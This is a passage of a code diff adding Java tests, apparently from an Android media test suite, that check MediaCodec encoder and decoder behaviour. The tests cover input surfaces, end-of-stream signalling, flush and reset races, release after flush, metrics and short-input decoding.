+        // Replace color format with something that isn't COLOR_FormatSurface.
+        MediaCodecInfo codecInfo = selectCodec(MIME_TYPE);
+        int colorFormat = findNonSurfaceColorFormat(codecInfo, MIME_TYPE);
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
+
+        try {
+            try {
+                encoder = MediaCodec.createByCodecName(codecInfo.getName());
+            } catch (IOException e) {
+                fail("failed to create codec " + codecInfo.getName());
+            }
+            try {
+                surface = encoder.createInputSurface();
+                fail("createInputSurface should not work pre-configure");
+            } catch (IllegalStateException ise) {
+                // good
+            }
+            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            encoder.start();
+            try {
+                surface = encoder.createInputSurface();
+                fail("createInputSurface should not work post-start");
+            } catch (IllegalStateException ise) {
+                // good
+            }
+        } finally {
+            if (encoder != null) {
+                encoder.stop();
+                encoder.release();
+            }
+        }
+        assertNull(surface);
+    }
+
+    /**
+     * Tests:
+     * <br> signaling end-of-stream before any data is sent works
+     * <br> signaling EOS twice throws exception
+     * <br> submitting a frame after EOS throws exception [TODO]
+     */
+    public void testSignalSurfaceEOS() {
+        if (!supportsCodec(MIME_TYPE, true)) {
+            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
+            return;
+        }
+
+        MediaFormat format = createMediaFormat();
+        MediaCodec encoder = null;
+        InputSurface inputSurface = null;
+
+        try {
+            try {
+                encoder = MediaCodec.createEncoderByType(MIME_TYPE);
+            } catch (IOException e) {
+                fail("failed to create " + MIME_TYPE + " encoder");
+            }
+            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            inputSurface = new InputSurface(encoder.createInputSurface());
+            inputSurface.makeCurrent();
+            encoder.start();
+
+            // send an immediate EOS
+            encoder.signalEndOfInputStream();
+
+            try {
+                encoder.signalEndOfInputStream();
+                fail("should not be able to signal EOS twice");
+            } catch (IllegalStateException ise) {
+                // good
+            }
+
+            // submit a frame post-EOS
+            GLES20.glClearColor(0.0f, 0.5f, 0.0f, 1.0f);
+            GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+            try {
+                inputSurface.swapBuffers();
+                if (false) {    // TODO
+                    fail("should not be able to submit frame after EOS");
+                }
+            } catch (Exception ex) {
+                // good
+            }
+        } finally {
+            if (encoder != null) {
+                encoder.stop();
+                encoder.release();
+            }
+            if (inputSurface != null) {
+                inputSurface.release();
+            }
+        }
+    }
+
+    /**
+     * Tests:
+     * <br> stopping with buffers in flight doesn't crash or hang
+     */
+    public void testAbruptStop() {
+        if (!supportsCodec(MIME_TYPE, true)) {
+            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
+            return;
+        }
+
+        // There appears to be a race, so run it several times with a short delay between runs
+        // to allow any previous activity to shut down.
+        for (int i = 0; i < 50; i++) {
+            Log.d(TAG, "testAbruptStop " + i);
+            doTestAbruptStop();
+            try { Thread.sleep(400); } catch (InterruptedException ignored) {}
+        }
+    }
+    private void doTestAbruptStop() {
+        MediaFormat format = createMediaFormat();
+        MediaCodec encoder = null;
+        InputSurface inputSurface = null;
+
+        try {
+            try {
+                encoder = MediaCodec.createEncoderByType(MIME_TYPE);
+            } catch (IOException e) {
+                fail("failed to create " + MIME_TYPE + " encoder");
+            }
+            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            inputSurface = new InputSurface(encoder.createInputSurface());
+            inputSurface.makeCurrent();
+            encoder.start();
+
+            int totalBuffers = encoder.getOutputBuffers().length;
+            if (VERBOSE) Log.d(TAG, "Total buffers: " + totalBuffers);
+
+            // Submit several frames quickly, without draining the encoder output, to try to
+            // ensure that we've got some queued up when we call stop().  If we do too many
+            // we'll block in swapBuffers().
+            for (int i = 0; i < totalBuffers; i++) {
+                GLES20.glClearColor(0.0f, (i % 8) / 8.0f, 0.0f, 1.0f);
+                GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+                inputSurface.swapBuffers();
+            }
+            Log.d(TAG, "stopping");
+            encoder.stop();
+            Log.d(TAG, "stopped");
+        } finally {
+            if (encoder != null) {
+                encoder.stop();
+                encoder.release();
+            }
+            if (inputSurface != null) {
+                inputSurface.release();
+            }
+        }
+    }
+
+    public void testReleaseAfterFlush() throws IOException, InterruptedException {
+        String mimes[] = new String[] { MIME_TYPE, MIME_TYPE_AUDIO};
+        for (String mime : mimes) {
+            if (!MediaUtils.checkEncoder(mime)) {
+                continue;
+            }
+            testReleaseAfterFlush(mime);
+        }
+    }
+
+    private void testReleaseAfterFlush(String mime) throws IOException, InterruptedException {
+        CountDownLatch buffersExhausted = null;
+        CountDownLatch codecFlushed = null;
+        AtomicInteger numBuffers = null;
+
+        // sync flush from same thread
+        MediaCodec encoder = MediaCodec.createEncoderByType(mime);
+        runReleaseAfterFlush(mime, encoder, buffersExhausted, codecFlushed, numBuffers);
+
+        // sync flush from different thread
+        encoder = MediaCodec.createEncoderByType(mime);
+        buffersExhausted = new CountDownLatch(1);
+        codecFlushed = new CountDownLatch(1);
+        numBuffers = new AtomicInteger();
+        Thread flushThread = new FlushThread(encoder, buffersExhausted, codecFlushed);
+        flushThread.start();
+        runReleaseAfterFlush(mime, encoder, buffersExhausted, codecFlushed, numBuffers);
+        flushThread.join();
+
+        // async
+        // This value is calculated in getOutputBufferIndices by calling dequeueOutputBuffer
+        // with a fixed timeout until buffers are exhausted; it is possible that random timing
+        // in dequeueOutputBuffer can result in a smaller `nBuffs` than the max possible value.
+        int nBuffs = numBuffers.get();
+        HandlerThread callbackThread = new HandlerThread("ReleaseAfterFlushCallbackThread");
+        callbackThread.start();
+        Handler handler = new Handler(callbackThread.getLooper());
+
+        // async flush from same thread
+        encoder = MediaCodec.createEncoderByType(mime);
+        buffersExhausted = null;
+        codecFlushed = null;
+        ReleaseAfterFlushCallback callback =
+                new ReleaseAfterFlushCallback(mime, encoder, buffersExhausted, codecFlushed, nBuffs);
+        encoder.setCallback(callback, handler); // setCallback before configure, which is called in run
+        callback.run(); // drive input on main thread
+
+        // async flush from different thread
+        encoder = MediaCodec.createEncoderByType(mime);
+        buffersExhausted = new CountDownLatch(1);
+        codecFlushed = new CountDownLatch(1);
+        callback = new ReleaseAfterFlushCallback(mime, encoder, buffersExhausted, codecFlushed, nBuffs);
+        encoder.setCallback(callback, handler);
+        flushThread = new FlushThread(encoder, buffersExhausted, codecFlushed);
+        flushThread.start();
+        callback.run();
+        flushThread.join();
+
+        callbackThread.quitSafely();
+        callbackThread.join();
+    }
+
+    public void testAsyncFlushAndReset() throws Exception, InterruptedException {
+        testAsyncReset(false /* testStop */);
+    }
+
+    public void testAsyncStopAndReset() throws Exception, InterruptedException {
+        testAsyncReset(true /* testStop */);
+    }
+
+    private void testAsyncReset(boolean testStop) throws Exception, InterruptedException {
+        // Test video and audio 10x each
+        for (int i = 0; i < 10; i++) {
+            testAsyncReset(false /* audio */, (i % 2) == 0 /* swap */, testStop);
+        }
+        for (int i = 0; i < 10; i++) {
+            testAsyncReset(true /* audio */, (i % 2) == 0 /* swap */, testStop);
+        }
+    }
+
+    /*
+     * This method simulates a race between flush (or stop) and reset() called from
+     * two threads. Neither call should get stuck. This should be run multiple rounds.
+     */
+    private void testAsyncReset(boolean audio, boolean swap, final boolean testStop)
+            throws Exception, InterruptedException {
+        String mimeTypePrefix  = audio ? "audio/" : "video/";
+        final MediaExtractor mediaExtractor = getMediaExtractorForMimeType(
+                INPUT_RESOURCE, mimeTypePrefix);
+        MediaFormat mediaFormat = mediaExtractor.getTrackFormat(
+                mediaExtractor.getSampleTrackIndex());
+        if (!MediaUtils.checkDecoderForFormat(mediaFormat)) {
+            return; // skip
+        }
+
+        OutputSurface outputSurface = audio ? null : new OutputSurface(1, 1);
+        final Surface surface = outputSurface == null ? null : outputSurface.getSurface();
+
+        String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
+        final MediaCodec mediaCodec = MediaCodec.createDecoderByType(mimeType);
+
+        try {
+            mediaCodec.configure(mediaFormat, surface, null /* crypto */, 0 /* flags */);
+
+            mediaCodec.start();
+
+            assertTrue(runDecodeTillFirstOutput(mediaCodec, mediaExtractor));
+
+            Thread flushingThread = new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    try {
+                        if (testStop) {
+                            mediaCodec.stop();
+                        } else {
+                            mediaCodec.flush();
+                        }
+                    } catch (IllegalStateException e) {
+                        // This is okay, since we're simulating a race between flush and reset.
+                        // If reset executed first, flush could fail.
+                    }
+                }
+            });
+
+            Thread resettingThread = new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    mediaCodec.reset();
+                }
+            });
+
+            // start flushing (or stopping) and resetting in two threads
+            if (swap) {
+                flushingThread.start();
+                resettingThread.start();
+            } else {
+                resettingThread.start();
+                flushingThread.start();
+            }
+
+            // wait for at most 5 sec, and check if the thread exits properly
+            flushingThread.join(5000);
+            assertFalse(flushingThread.isAlive());
+
+            resettingThread.join(5000);
+            assertFalse(resettingThread.isAlive());
+        } finally {
+            if (mediaCodec != null) {
+                mediaCodec.release();
+            }
+            if (mediaExtractor != null) {
+                mediaExtractor.release();
+            }
+            if (outputSurface != null) {
+                outputSurface.release();
+            }
+        }
+    }
+
+    private static class FlushThread extends Thread {
+        final MediaCodec mEncoder;
+        final CountDownLatch mBuffersExhausted;
+        final CountDownLatch mCodecFlushed;
+
+        FlushThread(MediaCodec encoder, CountDownLatch buffersExhausted,
+                CountDownLatch codecFlushed) {
+            mEncoder = encoder;
+            mBuffersExhausted = buffersExhausted;
+            mCodecFlushed = codecFlushed;
+        }
+
+        @Override
+        public void run() {
+            try {
+                mBuffersExhausted.await();
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                Log.w(TAG, "buffersExhausted wait interrupted; flushing immediately.", e);
+            }
+            mEncoder.flush();
+            mCodecFlushed.countDown();
+        }
+    }
+
+    private static class ReleaseAfterFlushCallback extends MediaCodec.Callback implements Runnable {
+        final String mMime;
+        final MediaCodec mEncoder;
+        final CountDownLatch mBuffersExhausted, mCodecFlushed;
+        final int mNumBuffersBeforeFlush;
+
+        CountDownLatch mStopInput = new CountDownLatch(1);
+        List<Integer> mInputBufferIndices = new ArrayList<>();
+        List<Integer> mOutputBufferIndices = new ArrayList<>();
+
+        ReleaseAfterFlushCallback(String mime,
+                MediaCodec encoder,
+                CountDownLatch buffersExhausted,
+                CountDownLatch codecFlushed,
+                int numBuffersBeforeFlush) {
+            mMime = mime;
+            mEncoder = encoder;
+            mBuffersExhausted = buffersExhausted;
+            mCodecFlushed = codecFlushed;
+            mNumBuffersBeforeFlush = numBuffersBeforeFlush;
+        }
+
+        @Override
+        public void onInputBufferAvailable(MediaCodec codec, int index) {
+            assertTrue("video onInputBufferAvailable " + index, mMime.startsWith("audio/"));
+            synchronized (mInputBufferIndices) {
+                mInputBufferIndices.add(index);
+            };
+        }
+
+        @Override
+        public void onOutputBufferAvailable(MediaCodec codec, int index, BufferInfo info) {
+            mOutputBufferIndices.add(index);
+            if (mOutputBufferIndices.size() == mNumBuffersBeforeFlush) {
+                releaseAfterFlush(codec, mOutputBufferIndices, mBuffersExhausted, mCodecFlushed);
+                mStopInput.countDown();
+            }
+        }
+
+        @Override
+        public void onError(MediaCodec codec, CodecException e) {
+            Log.e(TAG, codec + " onError", e);
+            fail(codec + " onError " + e.getMessage());
+        }
+
+        @Override
+        public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+            Log.v(TAG, codec + " onOutputFormatChanged " + format);
+        }
+
+        @Override
+        public void run() {
+            InputSurface inputSurface = null;
+            try {
+                inputSurface = initCodecAndSurface(mMime, mEncoder);
+                do {
+                    int inputIndex = -1;
+                    if (inputSurface == null) {
+                        // asynchronous audio codec
+                        synchronized (mInputBufferIndices) {
+                            if (mInputBufferIndices.isEmpty()) {
+                                continue;
+                            } else {
+                                inputIndex = mInputBufferIndices.remove(0);
+                            }
+                        }
+                    }
+                    feedEncoder(mEncoder, inputSurface, inputIndex);
+                } while (!mStopInput.await(TIMEOUT_USEC, TimeUnit.MICROSECONDS));
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                Log.w(TAG, "mEncoder input frames interrupted/stopped", e);
+            } finally {
+                cleanupCodecAndSurface(mEncoder, inputSurface);
+            }
+        }
+    }
+
+    private static void runReleaseAfterFlush(
+            String mime,
+            MediaCodec encoder,
+            CountDownLatch buffersExhausted,
+            CountDownLatch codecFlushed,
+            AtomicInteger numBuffers) {
+        InputSurface inputSurface = null;
+        try {
+            inputSurface = initCodecAndSurface(mime, encoder);
+            List<Integer> outputBufferIndices = getOutputBufferIndices(encoder, inputSurface);
+            if (numBuffers != null) {
+                numBuffers.set(outputBufferIndices.size());
+            }
+            releaseAfterFlush(encoder, outputBufferIndices, buffersExhausted, codecFlushed);
+        } finally {
+            cleanupCodecAndSurface(encoder, inputSurface);
+        }
+    }
+
+    private static InputSurface initCodecAndSurface(String mime, MediaCodec encoder) {
+        MediaFormat format;
+        InputSurface inputSurface = null;
+        if (mime.startsWith("audio/")) {
+            format = MediaFormat.createAudioFormat(mime, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_COUNT);
+            format.setInteger(MediaFormat.KEY_AAC_PROFILE, AUDIO_AAC_PROFILE);
+            format.setInteger(MediaFormat.KEY_BIT_RATE, AUDIO_BIT_RATE);
+            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+        } else if (MIME_TYPE.equals(mime)) {
+            CodecInfo info = getAvcSupportedFormatInfo();
+            format = MediaFormat.createVideoFormat(mime, info.mMaxW, info.mMaxH);
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+            format.setInteger(MediaFormat.KEY_BIT_RATE, info.mBitRate);
+            format.setInteger(MediaFormat.KEY_FRAME_RATE, info.mFps);
+            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+            OutputSurface outputSurface = new OutputSurface(1, 1);
+            encoder.configure(format, outputSurface.getSurface(), null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            inputSurface = new InputSurface(encoder.createInputSurface());
+            inputSurface.makeCurrent();
+        } else {
+            throw new IllegalArgumentException("unsupported mime type: " + mime);
+        }
+        encoder.start();
+        return inputSurface;
+    }
+
+    private static void cleanupCodecAndSurface(MediaCodec encoder, InputSurface inputSurface) {
+        if (encoder != null) {
+            encoder.stop();
+            encoder.release();
+        }
+
+        if (inputSurface != null) {
+            inputSurface.release();
+        }
+    }
+
+    private static List<Integer> getOutputBufferIndices(MediaCodec encoder, InputSurface inputSurface) {
+        boolean feedMoreFrames;
+        MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
+        List<Integer> indices = new ArrayList<>();
+        do {
+            feedMoreFrames = indices.isEmpty();
+            feedEncoder(encoder, inputSurface, -1);
+            // dequeue buffers until not available
+            int index = encoder.dequeueOutputBuffer(bufferInfo, TIMEOUT_USEC);
+            while (index >= 0) {
+                indices.add(index);
+                index = encoder.dequeueOutputBuffer(bufferInfo, TIMEOUT_USEC_SHORT);
+            }
+        } while (feedMoreFrames);
+        assertFalse(indices.isEmpty());
+        return indices;
+    }
+
+    /**
+     * @param encoder audio/video encoder
+     * @param inputSurface null for and only for audio encoders
+     * @param inputIndex only used for audio; if -1 the function would attempt to dequeue from encoder;
+     * do not use -1 for asynchronous encoders
+     */
+    private static void feedEncoder(MediaCodec encoder, InputSurface inputSurface, int inputIndex) {
+        if (inputSurface == null) {
+            // audio
+            while (inputIndex == -1) {
+                inputIndex = encoder.dequeueInputBuffer(TIMEOUT_USEC);
+            }
+            ByteBuffer inputBuffer = encoder.getInputBuffer(inputIndex);;
+            for (int i = 0; i < inputBuffer.capacity() / 2; i++) {
+                inputBuffer.putShort((short)i);
+            }
+            encoder.queueInputBuffer(inputIndex, 0, inputBuffer.limit(), 0, 0);
+        } else {
+            // video
+            GLES20.glClearColor(0.0f, 0.5f, 0.0f, 1.0f);
+            GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+            inputSurface.swapBuffers();
+        }
+    }
+
+    private static void releaseAfterFlush(
+            MediaCodec encoder,
+            List<Integer> outputBufferIndices,
+            CountDownLatch buffersExhausted,
+            CountDownLatch codecFlushed) {
+        if (buffersExhausted == null) {
+            // flush from same thread
+            encoder.flush();
+        } else {
+            assertNotNull(codecFlushed);
+            buffersExhausted.countDown();
+            try {
+                codecFlushed.await();
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                Log.w(TAG, "codecFlushed wait interrupted; releasing buffers immediately.", e);
+            }
+        }
+
+        for (int index : outputBufferIndices) {
+            try {
+                encoder.releaseOutputBuffer(index, true);
+                fail("MediaCodec releaseOutputBuffer after flush() does not throw exception");
+            } catch (MediaCodec.CodecException e) {
+                // Expected
+            }
+        }
+    }
+
+    /**
+     * Tests:
+     * <br> dequeueInputBuffer() fails when encoder configured with an input Surface
+     */
+    public void testDequeueSurface() {
+        if (!supportsCodec(MIME_TYPE, true)) {
+            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
+            return;
+        }
+
+        MediaFormat format = createMediaFormat();
+        MediaCodec encoder = null;
+        Surface surface = null;
+
+        try {
+            try {
+                encoder = MediaCodec.createEncoderByType(MIME_TYPE);
+            } catch (IOException e) {
+                fail("failed to create " + MIME_TYPE + " encoder");
+            }
+            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            surface = encoder.createInputSurface();
+            encoder.start();
+
+            try {
+                encoder.dequeueInputBuffer(-1);
+                fail("dequeueInputBuffer should fail on encoder with input surface");
+            } catch (IllegalStateException ise) {
+                // good
+            }
+
+            PersistableBundle metrics = encoder.getMetrics();
+            if (metrics == null) {
+                fail("getMetrics() returns null");
+            } else if (metrics.isEmpty()) {
+                fail("getMetrics() returns empty results");
+            }
+            int encoding = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
+            if (encoding != 1) {
+                fail("getMetrics() returns bad encoder value " + encoding);
+            }
+            String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
+            if (theCodec == null) {
+                fail("getMetrics() returns null codec value ");
+            }
+
+        } finally {
+            if (encoder != null) {
+                encoder.stop();
+                encoder.release();
+            }
+            if (surface != null) {
+                surface.release();
+            }
+        }
+    }
+
+    /**
+     * Tests:
+     * <br> configure() encoder with Surface, re-configure() without Surface works
+     * <br> sending EOS with signalEndOfInputStream on non-Surface encoder fails
+     */
+    public void testReconfigureWithoutSurface() {
+        if (!supportsCodec(MIME_TYPE, true)) {
+            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
+            return;
+        }
+
+        MediaFormat format = createMediaFormat();
+        MediaCodec encoder = null;
+        Surface surface = null;
+
+        try {
+            try {
+                encoder = MediaCodec.createEncoderByType(MIME_TYPE);
+            } catch (IOException e) {
+                fail("failed to create " + MIME_TYPE + " encoder");
+            }
+            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            surface = encoder.createInputSurface();
+            encoder.start();
+
+            encoder.getOutputBuffers();
+
+            // re-configure, this time without an input surface
+            if (VERBOSE) Log.d(TAG, "reconfiguring");
+            encoder.stop();
+            // Use non-opaque color format for byte buffer mode.
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            encoder.start();
+            if (VERBOSE) Log.d(TAG, "reconfigured");
+
+            encoder.getOutputBuffers();
+            encoder.dequeueInputBuffer(-1);
+
+            try {
+                encoder.signalEndOfInputStream();
+                fail("signalEndOfInputStream only works on surface input");
+            } catch (IllegalStateException ise) {
+                // good
+            }
+
+            PersistableBundle metrics = encoder.getMetrics();
+            if (metrics == null) {
+                fail("getMetrics() returns null");
+            } else if (metrics.isEmpty()) {
+                fail("getMetrics() returns empty results");
+            }
+            int encoding = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
+            if (encoding != 1) {
+                fail("getMetrics() returns bad encoder value " + encoding);
+            }
+            String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
+            if (theCodec == null) {
+                fail("getMetrics() returns null codec value ");
+            }
+
+        } finally {
+            if (encoder != null) {
+                encoder.stop();
+                encoder.release();
+            }
+            if (surface != null) {
+                surface.release();
+            }
+        }
+    }
+
+    public void testDecodeAfterFlush() throws InterruptedException {
+        testDecodeAfterFlush(true /* audio */);
+        testDecodeAfterFlush(false /* audio */);
+    }
+
+    private void testDecodeAfterFlush(final boolean audio) throws InterruptedException {
+        final AtomicBoolean completed = new AtomicBoolean(false);
+        Thread decodingThread = new Thread(new Runnable() {
+            @Override
+            public void run() {
+                OutputSurface outputSurface = null;
+                MediaExtractor mediaExtractor = null;
+                MediaCodec mediaCodec = null;
+                try {
+                    String mimeTypePrefix  = audio ? "audio/" : "video/";
+                    if (!audio) {
+                        outputSurface = new OutputSurface(1, 1);
+                    }
+                    mediaExtractor = getMediaExtractorForMimeType(INPUT_RESOURCE, mimeTypePrefix);
+                    MediaFormat mediaFormat =
+                            mediaExtractor.getTrackFormat(mediaExtractor.getSampleTrackIndex());
+                    if (!MediaUtils.checkDecoderForFormat(mediaFormat)) {
+                        completed.set(true);
+                        return; // skip
+                    }
+                    String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
+                    mediaCodec = MediaCodec.createDecoderByType(mimeType);
+                    mediaCodec.configure(mediaFormat, outputSurface == null ? null : outputSurface.getSurface(),
+                            null /* crypto */, 0 /* flags */);
+                    mediaCodec.start();
+
+                    if (!runDecodeTillFirstOutput(mediaCodec, mediaExtractor)) {
+                        throw new RuntimeException("decoder does not generate non-empty output.");
+                    }
+
+                    PersistableBundle metrics = mediaCodec.getMetrics();
+                    if (metrics == null) {
+                        fail("getMetrics() returns null");
+                    } else if (metrics.isEmpty()) {
+                        fail("getMetrics() returns empty results");
+                    }
+                    int encoder = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
+                    if (encoder != 0) {
+                        fail("getMetrics() returns bad encoder value " + encoder);
+                    }
+                    String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
+                    if (theCodec == null) {
+                        fail("getMetrics() returns null codec value ");
+                    }
+
+
+                    // simulate application flush.
+                    mediaExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+                    mediaCodec.flush();
+
+                    completed.set(runDecodeTillFirstOutput(mediaCodec, mediaExtractor));
+                    metrics = mediaCodec.getMetrics();
+                    if (metrics == null) {
+                        fail("getMetrics() returns null");
+                    } else if (metrics.isEmpty()) {
+                        fail("getMetrics() returns empty results");
+                    }
+                    int encoding = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
+                    if (encoding != 0) {
+                        fail("getMetrics() returns bad encoder value " + encoding);
+                    }
+                    String theCodec2 = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
+                    if (theCodec2 == null) {
+                        fail("getMetrics() returns null codec value ");
+                    }
+
+                } catch (IOException e) {
+                    throw new RuntimeException("error setting up decoding", e);
+                } finally {
+                    if (mediaCodec != null) {
+                        mediaCodec.stop();
+
+                        PersistableBundle metrics = mediaCodec.getMetrics();
+                        if (metrics == null) {
+                            fail("getMetrics() returns null");
+                        } else if (metrics.isEmpty()) {
+                            fail("getMetrics() returns empty results");
+                        }
+                        int encoder = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
+                        if (encoder != 0) {
+                            fail("getMetrics() returns bad encoder value " + encoder);
+                        }
+                        String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
+                        if (theCodec == null) {
+                            fail("getMetrics() returns null codec value ");
+                        }
+
+                        mediaCodec.release();
+                    }
+                    if (mediaExtractor != null) {
+                        mediaExtractor.release();
+                    }
+                    if (outputSurface != null) {
+                        outputSurface.release();
+                    }
+                }
+            }
+        });
+        decodingThread.start();
+        decodingThread.join(DECODING_TIMEOUT_MS);
+        // In case it's timed out, need to stop the thread and have all resources released.
+        decodingThread.interrupt();
+        if (!completed.get()) {
+            throw new RuntimeException("timed out decoding to end-of-stream");
+        }
+    }
+
+    // Run the decoder till it generates an output buffer.
+    // Return true when that output buffer is not empty, false otherwise.
+    private static boolean runDecodeTillFirstOutput(
+            MediaCodec mediaCodec, MediaExtractor mediaExtractor) {
+        final int TIME_OUT_US = 10000;
+
+        assertTrue("Wrong test stream which has no data.",
+                mediaExtractor.getSampleTrackIndex() != -1);
+        boolean signaledEos = false;
+        MediaCodec.BufferInfo outputBufferInfo = new MediaCodec.BufferInfo();
+        while (!Thread.interrupted()) {
+            // Try to feed more data into the codec.
+            if (!signaledEos) {
+                int bufferIndex = mediaCodec.dequeueInputBuffer(TIME_OUT_US /* timeoutUs */);
+                if (bufferIndex != -1) {
+                    ByteBuffer buffer = mediaCodec.getInputBuffer(bufferIndex);
+                    int size = mediaExtractor.readSampleData(buffer, 0 /* offset */);
+                    long timestampUs = mediaExtractor.getSampleTime();
+                    mediaExtractor.advance();
+                    signaledEos = mediaExtractor.getSampleTrackIndex() == -1;
+                    mediaCodec.queueInputBuffer(bufferIndex,
+                            0 /* offset */,
+                            size,
+                            timestampUs,
+                            signaledEos ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+                    Log.i("DEBUG", "queue with " + signaledEos);
+                }
+            }
+
+            int outputBufferIndex = mediaCodec.dequeueOutputBuffer(
+                    outputBufferInfo, TIME_OUT_US /* timeoutUs */);
+
+            if (outputBufferIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED
+                    || outputBufferIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED
+                    || outputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                continue;
+            }
+            assertTrue("Wrong output buffer index", outputBufferIndex >= 0);
+
+            PersistableBundle metrics = mediaCodec.getMetrics();
+            Log.d(TAG, "getMetrics after first buffer metrics says: " + metrics);
+
+            int encoder = metrics.getInt(MediaCodec.MetricsConstants.ENCODER, -1);
+            if (encoder != 0) {
+                fail("getMetrics() returns bad encoder value " + encoder);
+            }
+            String theCodec = metrics.getString(MediaCodec.MetricsConstants.CODEC, null);
+            if (theCodec == null) {
+                fail("getMetrics() returns null codec value ");
+            }
+
+            mediaCodec.releaseOutputBuffer(outputBufferIndex, false /* render */);
+            boolean eos = (outputBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
+            Log.i("DEBUG", "Got a frame with eos=" + eos);
+            if (eos && outputBufferInfo.size == 0) {
+                return false;
+            } else {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /**
+     * Tests whether decoding a short group-of-pictures succeeds. The test queues a few video frames
+     * then signals end-of-stream. The test fails if the decoder doesn't output the queued frames.
+     */
+    public void testDecodeShortInput() throws InterruptedException {
+        // Input buffers from this input video are queued up to and including the video frame with
+        // timestamp LAST_BUFFER_TIMESTAMP_US.
+        final String INPUT_RESOURCE =
+                "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
+        final long LAST_BUFFER_TIMESTAMP_US = 166666;
+
+        // The test should fail if the decoder never produces output frames for the truncated input.
+        // Time out decoding, as we have no way to query whether the decoder will produce output.
+        final int DECODING_TIMEOUT_MS = 2000;
+
+        final AtomicBoolean completed = new AtomicBoolean();
+        Thread videoDecodingThread = new Thread(new Runnable() {
+            @Override
+            public void run() {
+                completed.set(runDecodeShortInput(INPUT_RESOURCE, LAST_BUFFER_TIMESTAMP_US));
+            }
+        });
+        videoDecodingThread.start();
+        videoDecodingThread.join(DECODING_TIMEOUT_MS);
+        if (!completed.get()) {
+            throw new RuntimeException("timed out decoding to end-of-stream");
+        }
+    }
+
+    private boolean runDecodeShortInput(final String inputResource, long lastBufferTimestampUs) {
+        final int NO_BUFFER_INDEX = -1;
+
+        OutputSurface outputSurface = null;
+        MediaExtractor mediaExtractor = null;
+        MediaCodec mediaCodec = null;
+        try {
+            outputSurface = new OutputSurface(1, 1);
+            mediaExtractor = getMediaExtractorForMimeType(inputResource, "video/");
+            MediaFormat mediaFormat =
+                    mediaExtractor.getTrackFormat(mediaExtractor.getSampleTrackIndex());
+            String mimeType = mediaFormat.getString(MediaFormat.KEY_MIME);
+            if (!supportsCodec(mimeType, false)) {
+                Log.i(TAG, "No decoder found for mimeType= " + MIME_TYPE);
+                return true;
+            }
+            mediaCodec =
+                    MediaCodec.createDecoderByType(mimeType);
+            mediaCodec.configure(mediaFormat, outputSurface.getSurface(), null, 0);
+            mediaCodec.start();
+            boolean eos = false;
+            boolean signaledEos = false;
+            MediaCodec.BufferInfo outputBufferInfo = new MediaCodec.BufferInfo();
+            int outputBufferIndex = NO_BUFFER_INDEX;
+            while (!eos && !Thread.interrupted()) {
+                // Try to feed more data into the codec.
+                if (mediaExtractor.getSampleTrackIndex() != -1 && !signaledEos) {
+                    int bufferIndex = mediaCodec.dequeueInputBuffer(0);
+                    if (bufferIndex != NO_BUFFER_INDEX) {
+                        ByteBuffer buffer = mediaCodec.getInputBuffers()[bufferIndex];
+                        int size = mediaExtractor.readSampleData(buffer, 0);
+                        long timestampUs = mediaExtractor.getSampleTime();
+                        mediaExtractor.advance();
+                        signaledEos = mediaExtractor.getSampleTrackIndex() == -1
+                                || timestampUs == lastBufferTimestampUs;
+                        mediaCodec.queueInputBuffer(bufferIndex,
+                                0,
+                                size,
+                                timestampUs,
+                                signaledEos ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+                    }
+                }
+
+                // If we don't have an output buffer, try to get one now.
+                if (outputBufferIndex == NO_BUFFER_INDEX) {
